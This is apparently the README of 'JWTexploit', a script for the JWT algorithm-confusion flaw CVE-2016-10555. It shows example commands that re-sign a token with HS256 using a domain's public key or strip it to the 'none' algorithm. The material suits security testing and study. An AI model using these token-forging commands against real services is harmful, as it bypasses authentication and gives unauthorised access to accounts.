JWTexploit is a script that takes a JWT in entry, modifies its signature to HS256 and signs it with the public key of the domain given.
More information about the exploit here : https://nvd.nist.gov/vuln/detail/CVE-2016-10555
python3 JWTexploit -h HOSTNAME -j JWT
Example: python3 JWTexploit -h example.com -j eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
The -n option permits to get a token with a none algorithm generated from the token in input
Example: python3 JWTexploit -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c